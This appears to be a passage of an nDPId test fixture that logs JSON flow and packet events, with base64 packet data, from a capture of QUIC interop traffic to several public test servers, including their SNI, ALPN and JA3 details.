+02102{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":524039,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAgmJAAEARCbbAqAGAKHC\/PLT+AbsE7KwIwQoKCgoIe34skUb\/aLsAAETSb8uSUd6EB7gNq4gf6KDxkhY+y87q3CLci6x1EsNvv80WGJPIpKwhzC8+vg4NXuO4unafv2NMJkJjRI6OL98YRtdvYGXB+F3JwCowCuwGqw6jTxikMXRPpRCAgRKO5X\/KxcEwJRdTBT2rlOzU+hO0yWkEtT4rCwTG1V9X6PEAkb8zWYSIsTTFWdbuo8+Hsr3EHPqfyeXbsSzOoMiqiG28CC1UB7fjZJ0W3T0asAlOYWGl8MIKuqHYSMDCaz5\/KR7GxLTjjCeuvA71YVTfkU0Gf1f4xW0HKl3ycj89fZPIImHw1dOmlLMZdNJPHN3oMEV1WzgH15lz2HPaXv7a5Th+I9CCo7LropS0BbFADYctmnMsqGggv3K7uKbyNnulVBXm7b\/tIGeDPKbxhMVyVFX\/OFstaFoYOfWt41Qv0Uz+5xguURoeuY7TUkuJQ2TlXG1IxX6EbnM98toW72ernv2vm8GcA06P94MCodt6GnFnJdalXwd3Z0Zgu8r3434Yhg444uk2HEryaQG3hHsq9RRP13JfK3yZ+q3HWXP97pXxl06amatIARReotx2af2MAxWD4J\/9LErkYyTqlEr6EnBC+7r1cV9IP3w6nfwYEb0VMSsQMzOKiqBofCNQtvNgMmkH5GMWZlDP0T3k9d+0l3FMevNqVwb+iznRosmDKbOnAOsNl2nNjXZYQXWhQqAThjmx79k1nVXVH\/HuAezLxegqma45cG67rPyGRqN3q1h5El6PYgtdZyE5yz+oVR6XOIkyz168X\/Rv7t73N+i0n+IFHPvHuQ+EK3e1BGUIifpyEElK5RsbL4HGjtaWcevK45MDQ3axvbDUEW\/w2lJrfPlXa\/XZ94sTcZvgd9dy1K9MAJdUT1E0ufvAhjda4LLkNYkdVZjhePaG\/OIP0+\/2yjL6i\/866d9NM8o49WaX\/O9Pd296qB4TZaRNaKuBx+CTsP+biUuW\/9YibPEOQBdFkjBprbbH1nXMOpEF6QqyTSSWy1mOqWI7NTc8ioxMC\/07KPAh6S5NvmgDw9rb7lm4u9afeFEO\/2Y2F04NKOOTYQjedcDqmY1izosf6wgBTRlHezP6uNhrQcmJzYaSn3Fg99mguDGzeymhTX46iCjpPSI\/wUScS13iOhxccWK+52NCIsSS1ArhMq7x5GIHJngmyLap8JYRZLzZek50uDc+cvlWv5aWpLq4oeFbzb2UpThvb0S8TbvXwHNE0GcN9NQ47Cz0xMuSlHF7VEKoW\/ldk\/T1mzEivHu6X4HhGg8NuDcJj6aZIVaJae1NxSt5gLl8MTFDp8u0m2DXTpjwFCV3AX\/hN8OLAAu3WZ+A6sHLc1Laby2OYoClrb6PAbfK8O93b7DnY1GdxskJ1zN2DGmXMfzpZYEvO6KwGvo9tWt5MopqXQ2LZWUoyLrLoGDkaMoRzTKI\/QFULy6GKZQuGdZK8BHoqiDwJoTG\/iTyF1KYSQbibwt0sOyty8uw9tMbzTSnr+UrS3c6KjbJG3GNT+Hel2hrgKBCTL1FLUatdsWvxb3xr1uQGvayWgC4e8BQxZ9J4DVcI4Jl9RFSGru0ncBQHVlkznYPLGR5hwEuTrIrbhESI0fIBtr8gRxzc5NuTahe+uchbMgzGi7qkmDsOQtGYpMw30QbIQ=="} +00725{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1603816434524,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"40.112.191.60","src_port":46334,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"f5quic.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1603816434528,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"202.238.220.92","src_port":38366,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02094{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":528228,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUA5QJAAEAR53bAqAGAyu7cXJXeEVEE7LxswgoKCgoIN5KvB9nft6kAAETSHGVijjeaIj19wFPg1eU29TK6pHOMAuBm7PlkQXCoUAkcIsjKIox6Tem8bVN8W3P7l09wyVGafUKmNhonG2+PLUPwJedoIYbfaArvK\/RuwZUPJBHiPqclPj8GB4blfNLZCSxE7O80ZWg6IzmaH0ZyK96aL8u3DeLpkwvE+ZiYmPNHLkxCubDvJZKErdDSCNct\/8C0DNjLgLDA2edu7gd5la5GmHjIWyqKCsVDNCJZblHcVBL1VdA06pyamhaIutlHrJtt4MwRHnHaWsi4xtJmIF21kHBkIHdSNDwPpZdZQOo6t6Itpq1ZTpS7VN39q1L5s9axaQwh1msQpQnvxEMKRTjphoLon2C14B0FHuQO+nIydxdhsWr7CdUuXtsSSSuwWO4Ld68XCiQx9y1eBiBAB+GD2Wu\/lb9XwLxv5IssYnU4s6tBvuesFaIcboSu0qDauY6CaPlOVzIvtAJYMstwHjBjgOUg1VLVbW4e8RABqYyrAFgk1Y\/+PtHf\/PYsvCZhOCB5kqbImiRw3h1pD67YavEoB32fyii0nqrXhuOx80OsYd19rZfvwepXx7rsTO7Azrv1gfJUNVyN3GZFPVbu+9bah0bZVb2faEbPsXvHVJ7ADhVuYKBowG3\/vToH88gOsc5MmMiA7BPkeocUuJbep7qVkWVyD6A4XDSMgQOf4snKf3NMnwoOZ5+\/oEP35GdTw+gaNQtPml2DoGyADmvPE2GySCNdXh6kRDEzP1eIDWJ6cblFsWZLk3HJxSVWVK4L5nGv7G236HRvH7cao3OofLUezX5EJcTnlNBjPkG2QPEEcNrUyzgTzeskCKdHWBppAIz5V7d5Rm9KbgwRKyHgP52XfTCa9HE6G\/aWYw8rvnpb3BVO7AuVUTIl+JadVGBMO6HP9MQda7QUWFv6MTUs4VpAGaDAJWfobOxRrmQWeu9NDR0bYEXNNAf7RSIcYCgEjVOU9A87EHcp5jWmc9mASoXlXUjhMutb4712Z6btK9v5ePztTnZNKvllfQgWfQ0YcDu+IovA\/LzcmwpJeiamvlR4aeRi4IENGOnyfwZ+m2LklN5Vs3C\/uAPp9drDmngkL4hb+R4z1IEA0ohBJXoQ+GkgXZ77qbe6ISLXHCPXiKNO4b82HpsRurSda+ao+RM0sD0EiMBh\/TCkxcIcAIltsz8QoSaYF1MGi8GOXIhmTX1jWZrLAHyJmPKC9EuNW9neoG9EJZ+dIX5mFx0oGGaw2sdFPwhkPFTtqOk5AWokoPIwvT5vd4Sa519tHm6athzsvpY\/qhpMhYMBhIn+Ia+ZLRy9h52056DhP7uVx2GyT9ovjnsPolXuMkxrgw2OIdEvaKHwHSLmDh1euVdBDmyBUwspPiAOjuWMEDE13npg368409PBTQTw048QeZ\/V36AB8RGBYvtIGfzBKjh7cAm8l7WE9s5UvaZQy873oVec7lmimiZyEb5LyxRSzZWjXpzMqWJZuYCs9SpKSXnfZSSdiAHAKhypk11NUGFwk3vS\/I5fWfsFxUM+Rlf7z6obYtc9UnzwhZEp+DuRwFp0SSRdY9xJC2al7618o0Fetdd+n5VB8cJhD79oCRxpjuJClhZScv8yRHXQ2tWyL8V5prewYS8GgYGe0z2ZOFSP2ZvQeX70ng=="} +00726{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1603816434528,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"202.238.220.92","src_port":38366,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"mew.org","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00456{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1603816434530,"flow_last_seen":0,"flow_tot_l4_data_len":556,"flow_min_l4_data_len":556,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":556,"midstream":0,"l3_proto":"ip4","src_ip":"3.121.242.54","dst_ip":"192.168.1.128","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +01147{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":530418,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"PKn0qB\/spJGxgjQ5CABFwAJA69kAACYB7ksDefI2wKgBgAMDt3gAAAAARQAFALRdQAAhEei3wKgBgAN58ja3ogG7BOzsKsYKCgoKCHUJ14NKwS2PAABE0nUjXqgo3Pq+h\/Bzi9p31\/TZeG7dv7XIf5N1hruOb+rMEEShGYweXC+T8EETUns4xE1pcJfcd9QxJWLz4mk48BM1d7sz6D0g90Q7A6DSDnSX8zPHnk\/mBfB7WcT8ZfCXzHAFhGGnFcwiEQYipESmQ6UeXUdKLkbZVdxhnu5LdA7U8ofrC97xC4VdpB8+pct9Ef44k+OzR1LZByriJ678sYxqlbwGB9+J+7VwgUOg\/gH2R9dX6bQQUO7rTCoyUHrYGZ5osp+I31JLOOQ0C6bZs5jO72nIFTNVF37w0TIl1hS5YHNmjLHkXmrNxza9D1NWHtYItabi0jdmvYKXEW\/jtGDBbNI5Spt\/DdSwahkwacog7vEBAslclMpeaBEdIll7ht0275DdkEE5wCpSaptHi1ZfzWLt8\/3zVoN9gllA09tedp3dfnrCs3MbxDshoV7lFoWGdn\/dNMr60Cx3AUMtm2P3NvJ\/wl+FPKcSOjciGrJox3eMTCqBEuAzJo0ymq8aqrjO3V0G12SwfBJ9tJCn3UEWBx4Pq3qlqktq2\/Fy+CDEiIPPlLGrnjA5s631GXf+eke3F40ZavlVJrfNauZzZygjAUP+676+Kjhjmdgh5vVfrgA0zW4b73tJevIq4He558UKRJU4CMox8hYb3fCj6C3dh7FjwxE="} +00488{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1603816434530,"flow_last_seen":0,"flow_tot_l4_data_len":556,"flow_min_l4_data_len":556,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":556,"midstream":0,"l3_proto":"ip4","src_ip":"3.121.242.54","dst_ip":"192.168.1.128","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00526{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":12,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1603816434535,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2606:4700:10::6816:826","src_port":32957,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02110{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":535255,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gAJBbBNgRQCABCwcKydWupNP+R2kegH0mBkcAABAAAAAAAABoFggmgL0RUQTYhUTOCgoKCggKh53oSKcUIwAARL7ptyuGj3sWoCfzmGYT9c5knffzFTiJ5lVJXbpctUGbKL5ySK19+FWpax4\/nAYQUfvCM\/bhsgFtS9G+ZFtPXpli7k9OwELHwQ20mBGQWbjmI7hP6morZpTeRWxaKack+BC0iQiX9\/LIrfrGdoT1oDoUDperL3\/EWfbsAzs51Fr37OKsXNxMOnNCWganJYQDoS1NHvgUii8j2RT7vFE3V9d23tm2baG7XTpJE\/KumpBsVLcT3VzQxufgdMiVwmhOfmQTPXaJDGA\/jRTiFeXg7nXwXEtAxzBQgrLuBhQxPykcUp0c2\/phwIU04regmPrsDteoZwKZzuohFTkgaiJgBEO37GhILvwwBeV77OMpz83mtpaFJrhJUhOB5vM0\/RgcMPtcx4bSZUJUYD6nBLhQJ\/GvQEu7UlOsfkiIrZE+ZKc7Xlk9faNEXsEX+cAq53XDHpAkkbtjxhoLLEgwqg9w2+pJHK905szCqPYz1ey662LeHpygS8mmmH\/gOERXnPY24ktfjRbIPk+3jjlRJg9AEQHddCfLs\/0YynFjxEK6SkUDk3GOa0sGfGsU7zt7rbEh4JS4h\/\/R08A7nHPChHXr\/7ZgHR966vNTPtSXBteBzHwou8p5yVwauN1gN5GaWb31oFnrNAxiwuz4e2fwfa69YtXI4XWHFBvj4iNrdRBF9sHDZoob5bniwmHivCxgMW4+Jtbnaqfrv4Sp3dq00y6\/ur4ZEHV5m4FIMmbgmAyq9vvgmIFyJKBMGegGOoZYhISRV4ufDNEsgtjnm1Ha96l8R2gH9UD5FvAjfB\/ZwRBGmgFyc1RY+15Vl0HTZ4Rr+yCWwF2I4UFS+jzuwD+H6WEkNUgBjeLztMlKSo7QMs7PpOgFdZAlYejckZA1WodUw\/1bgj\/U6KGLbos4yPh+0rFNO0QtSRdW2TgBAAQucKeIvxgOUjTBEAP34nCw3lpKpedULlo5yFoLMltnNpkze\/b+9gBG8\/1mSO3ivzeDC3y6mANlLBm2iJns641SQdnTkf3L8X6YeBJsMYcaaiKYOyuuOiyeZy0YQZa4g5mFBz1gCqnQwBTBq6z8JWs1a\/iBlFkdzl55MjJD1jFCxVWdLyjInYMNmKxijI+ky9lNUsSaDzc5mgZpk3C0ZBbV058wqQx49fSF44m14OWseuaF+VY+qapJWKKL5t18OkWciu9MrAdQ4l66KAXEOIsGmkn8zlOyO4gaBESlpwfIO6YAp9wh9uTR9L+wkJgDcSe\/JWX30SUzbiRxqTmU9\/OJu2YJTPKi8wBs0qops1o6F9bQ4myo5lBZyqDquGfUWvrEXAbX82yldqPSTFnXWZt1UdImRyp1aGJVLjK7WjTb+ZSUcMVvxEHERZUt6VlUBe9SscDBCFdepioRLv56MnqrV+s4p\/g3CZ2sX0A9nX\/xgQxdccpjrif7tgBq+g7rjwIDWgS4NTZeETjOCtp53wYAhZZ32G\/hgRuBjIwqGUhTXHOoeOasvV+WD6Qh9WG\/ZAOn3eXObqDuYhD21bQbu7H9CTSFHgZo5\/P4wYz2WlEjbWMiQ9K7B5MQdxXUQYTDHm1OtDv1m9inaq9E9Mp1YP37ABzmfZ+XPVEzLA7x\/VqZvQgYfBYQAA=="} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1603816434535,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2606:4700:10::6816:826","src_port":32957,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"cloudflare-quic.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1603816434542,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"3.121.242.54","src_port":60784,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02100{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":542463,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAsZBAAEARzITAqAGAA3nyNu1wEVEE7LiZwwoKCgoI7mu7hqnhXwQAAETSneZc0FuQOOHT\/teiEyKQKqzHkPCOdcJLNU5VOm5QOz0aoCJBEfqd1iT7e6uyMoRT8wMX7assdH+rfwhkbtE0fDQ53avKQe54W1J5UEYikBP8CP81hlJVbphH435fnVTq7nYhJQx3T1Y6AQ2\/Im2so+HMSUWdbbnrP5LSk6E7PUTbsjJ7Z4IK2AyVHeK5bSLg80JZ1Sph0HZzQaEbqIMyi\/M6v3qgHFPF1JKKXsbwx36aShFPp5YRv\/soCC3iJDKx\/TOoopux88iYZkKX6xmVToWLTybIql7tHDaiQwlFHhBfrjhT6cVIuDMNZVXE8b8dgJrnGR4ypA9uhBp9z\/Snjb7kplkcAw9Yd0vXwuJxwvJbKYWpGBSBjpqgJK2NnsY91gg5TfSt3JN+70Jk3br16yCjz7tX60zGh5oP2DwLrrYetR3R0GFUOxDMh6G7aF3I80uIHLzKM5L7Cyq+eH+E4Oik6IopSkw7bwloBrghPMa9hxFBVEXX58oWV2xJT38EqSdgZFBF5dbInQYsnbTRjhDYyaiyt8vlg88mj5YsiwANcazCph4gIDWa4gyKspP8BKvUtXz02RGy3HX6Vo5Vamtwn+2PjOM+Q+DQVEQnn5msYlkn7ZY5ovQgEgbBX+huA6I5hUWWsPR3M2Kzn\/TPASjM5rwK0KxSpO5g\/gQQfc1S7J7YuDP8zIp427rx9HJYduWfVC4rgRUnB6I166YLVcOlExTMzRX5aOez8BEzIES9YduVGcZhm9AP3doiK0e16CBoljKKN4NSkTnRww5pIG7SP9IPdlyMMhv\/F65HJ9\/Qdzi\/8AR0RRXgbK4KSLJ1ZazP98Eo4okuRh2hJvsVfDsF82aUOJ+5IPV21tikqeD52JJgCcbnY1xvwCMuI9Ev5Q1BzfBglIWFmd3vD8LInWrtA2LQjCeOq98mFJn6QDvRQu5wKPIA\/ZgOKwVAUTiw4oj9THEfNPce2Rwgs9BQNDAwTNfNzVG4Uo8HZPdnnHL7R4K8hI28\/uWO7cqQHN0rdSoqUztCrLRvMc8S2B6IG\/FwTC+hPTm4cIQtFOJMoo2kOuyujyZ1LEIJszajyM3US0Z7vDZ\/NVv7NhCjNliBh1qCCQmrc2ZARdMzfQTwRZSk4Qp8dafvvYQ1LF9kATiR56vOstwif8mcEeSGpGjxHRxxaPCnx1FqTSBlji1+\/mVUMSnwTjTbZ8+IlF5bvzWmxCP6SmcY3uiWmUe8ABNCdQ6oFUGX7MujoMfHqznJ22xd4jRp9Th8CAdO6AtXd2qNEMNXvt+leql1vYAShneyVo44syrCJhZftvKw0lIESx6N8bEm9qmNGkSLU3jwsr4qMQ4GeNejADIeIEW8ilf6RTOWWH8Ge9WQmD0aziJpeLMRGeBecvHxLqJRfNb4UoC\/aiW\/ii+JMaepnbYUiRD4TObTS04rz7zN9ijDMemj465LaVNq0Le86L1W7PC8e6cQH0cTJum0Jqv\/LLqUQa9dj8VqTQbmKBPwwLy4YSngRqKOkKFIREtmChIase\/5QfE6hq1lhcHS9+TUiZhdPLF2dtk3KG4eRvLu8IjED0rc3A3SIXUgqoM1eHsOUNqbWaqmodcwXD4BHHuC3EdxDzolau+txc2+xwm+NH4ee2DBykjljA=="} +00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1603816434542,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"3.121.242.54","src_port":60784,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"ietf.akaquic.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00471{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":548684,"pkt_caplen":89,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":89,"pkt_l4_len":35,"pkt":"PKn0qB\/spJGxgjQ5ht1gAW9\/ACMR7CoF0BgM6YEAzSri\/bO+xasgAQsHCsnVrqTT\/kdpHoB9AbuT9AAjezDGAAAAAAAIlGmXKMyAAG3\/AAAd\/wAAHP8AABs="} +00465{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":551349,"pkt_caplen":85,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":85,"pkt_l4_len":31,"pkt":"PKn0qB\/spJGxgjQ5ht1gCVbMAB8RNSABC8hHpBwlAAAAAAAAAAEgAQsHCsnVrqTT\/kdpHoB9AbvrugAfxC\/CAAAAAAAI4QMvVRUj5m0KGio6\/wAAHQ=="} +00486{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":566800,"pkt_caplen":97,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":97,"pkt_l4_len":43,"pkt":"PKn0qB\/spJGxgjQ5ht1gC985ACsRNCoArABAAAQAAuBM\/\/5oGZ0gAQsHCsnVrqTT\/kdpHoB9Abu+QwArPVvlAAAAAAAIhDy+8x\/DNCJFR0cg\/wAAIP8AAB\/\/AAAe\/wAAHQ=="} +00525{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1603816434569,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:bc8:47a4:1c25::1","src_port":51185,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02101{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":569071,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gCjENBNgRQCABCwcKydWupNP+R2kegH0gAQvIR6QcJQAAAAAAAAABx\/ERUQTYsYfACgoKCggwbWAZ48sZPQAARL5w5HpjTfB6HE2JQjNEB1YmIe76YRB4wkvrzI8Py+EIKqBcyOOLSUBuzT912JXZ\/2dY3gtcHrCUweZkn\/T5Hj7RPGvPZqKFDdtBnWxfnsXvr8VhF5wnML7O4OsWP5nPvl6UO93+O4xio85bG8BLk14nxVMaEegFPQw41vQotLY1zGwG27cqyluUTVS52eHYVV4j83Dk9aui6JZsd4LVyJRUX2\/aUckCDuajGznu7FC2CzoKmlR9VSfkua99+L62GemAPTQ91VNnpbP5stk\/eROyYCQjK0Rz1x4lCPUHi2bIL+APn\/wkXXipr29g8XanJpO+FGEylpXWsJrrg0SI3jR39YuKgH\/KrVFhaTiB2Suy3PaKmi\/RzU8ypvxDJGoEdKNt7WXrvIvEzAROWanRVHPIqtyzoyATCv6emaC6YOFoMEpZbjomg2doT6BJk+EvC+YAEUaf8b3SEIGnXU8yeMJTcxsinB0KKzvXhxRAp7xoQkgseCm99W1kW+XHhN1QN\/TaCtfCfSVrUo2xGKhv3ymR2Vaw4omOsXp6J7Sjc0mbrS90K7ilwCM+Wfg0YoSkSDUSXY1AQnPTNjr2FMqanb49do1WhubRfE\/Ck0eHMZWPpGaO\/mph4jfOtDGM6OgXvUUlp5ROucFlBzCmVKkIyc2H8apiOM+07MDibQplJ4Az2+90761IvBgwfhlEPgdX1KDSHaJG4rPehCnx1Pp+yquyrKEzA5js4oFilyAy0vgDYNnz8kRaeeuCwuFEJgvXo8qRWj3noFvI+zM05NzQAJ+bmWMPgrG27iBYNGIvoGvmATqr8JgYwP4vU+hSyzxuJhQCf9Z1Yvi3GDN3YdoljnhaMO1Savux67rztE8c\/C8yDYwfMl4Hk9h2CnmhjXRv\/3esiIjaH9dPCD88ewNCiifrhvE9uNwL83wO4sr5zyTtZLeOfofME+dgPVQ7bgkbsRZetMQrrAt+izEoATXGeuXSCXJvZamlYZRQA9Y1hkw06gQpABA8+7BxNLKVRwU4R\/6Vyg6EQNzzD\/YA5VOGJvjRexKDRdxqrmlRTQq5hfIyAJHy\/HvrSIrmlbTwI7l2tlyS+TSdUxPcmU7n6Qs72zr3JKtijpeZTjiOvn5gH3Wz3LwmTGnGrpdVcS5m3nAy4dlf71QOIEEceuZ1zTiItSS1w+qpRUZsN7KqSmVbH5OnT58ueYRcxpx7o59KZHrxOOtppX89XTCUe1\/U6RKWIbGwK5B8t\/KtZN8LmG0kgcpcavl50oHuWDKuSGhWn78YjrWPPggvwb2mtAvV2xgf+KzFIUqCZ4tP72EyCyT8fsNUCySwHshLWySXBxdWfBkmiQPmX6KQcUxW7vUusJWyjH+HlW1ebLdsvC6JTIU9jvt6ymyaMyI\/rm50GWHDSBGar9xKv8vS9NCFORMVJp5Z83e9YH5EXVTDOpimXhA8N2hI9UWL\/X+c8xQkqXD5T0yYXpVHt7NhIvTwpfhjbEcUyf+BaoxMbBWX09ubEe4WSF3SBA7Dg+tiSOpxP11Hn04MactOeduGtV3YGVM9qWIdA3KpmTnOn7t96V09pndKxqCgN1gD4va9ZR8fB8j+u3uruPi0w2uDTcAmxYeEKNSLqA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":17,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1603816434569,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:bc8:47a4:1c25::1","src_port":51185,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": 